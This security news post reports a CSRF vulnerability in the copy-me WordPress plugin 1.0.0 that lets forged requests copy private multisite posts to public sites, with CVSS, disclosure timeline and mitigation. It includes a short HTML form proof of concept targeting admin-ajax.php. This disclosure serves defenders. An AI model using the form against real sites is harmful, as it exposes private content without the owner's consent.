Categories: Hacks

WordPress Plugin copy-me vulnerable to CSRF

WordPress Plugin copy-me vulnerable to CSRF, which allows unauthenticated attacker to copy posts.

WordPress is web software you can use to create a beautiful website, blog, or app. We like to say that WordPress is both free and priceless at the same time.

Version 4.7 of WordPress, named “Vaughan” in honor of legendary jazz vocalist Sarah “Sassy” Vaughan, is available for download or update in your WordPress dashboard. New features in 4.7 help you get your site set up the way you want it.

Copy-me Plugin

copy-me plugin allows users to copy a post, page or custom post type to another site in a WordPress.

Vulnerability

This plugin does not use nonces. Copying posts could allow taking a secret post from a non-public site within a multisite installation and moving it to a public site.

This attack is classified as OWSAP 10 CSRF(Cross-Site Request Forgery).

Affected Version

Software: copy-me
Version: 1.0.0
Homepage: http://wordpress.org/plugins/copy-me/
Advisory report: dxw security
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Proof of concept

Click submit and it’ll copy post with ID 1 to blog/site with ID 1:
<form method=\”POST\” action=\”http://localhost/wp-admin/admin-ajax.php\”;>
<input type=\”text\” name=\”action\” value=\”copyme_copy_item\”>
<input type=\”text\” name=\”id\” value=\”1\”>
<input type=\”text\” name=\”target\” value=\”1\”>
<input type=\”submit\”>
</form>

Timeline

2016-11-01: Discovered by dewhurstsecurity
2016-12-07: Reported to vendor via contact form: http://www.alancesarini.com/en/contact-2/
2016-12-07: Requested CVE
2016-12-21: Vendor has not responded after 14 days
2016-12-21: Published

Mitigations

Disable the plugin. No fixed version released.

Gurubaran

Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

Recent Posts

Evasive Panda Attacking Cloud Services To Steal Data Using New Toolkit

The Evasive Panda group deployed a new C# framework named CloudScout to target a Taiwanese…

5 hours ago

Massive Midnight Blizzard Phishing Attack Using Weaponized RDP Files

Researchers warn of ongoing spear-phishing attacks by Russian threat actor Midnight Blizzard targeting individuals in…

6 hours ago

Sophisticated Phishing Attack Targeting Ukraine Military Sectors

The Ukrainian Cyber Emergency Response Team discovered a targeted phishing campaign launched by UAC-0215 against…

6 hours ago

Chinese Hackers Attacking Microsoft Customers With Sophisticated Password Spray Attacks

Researchers have identified a network of compromised devices, CovertNetwork-1658, used by Chinese threat actors to…

6 hours ago

New Windows Zero-Day Vulnerability Let Attackers Steal Credentials From Victim’s Machine

A security researcher discovered a vulnerability in Windows theme files in the previous year, which…

6 hours ago

SYS01 InfoStealer Malware Attacking Meta Business Page To Steal Logins

The ongoing Meta malvertising campaign, active for over a month, employs an evolving strategy to…

6 hours ago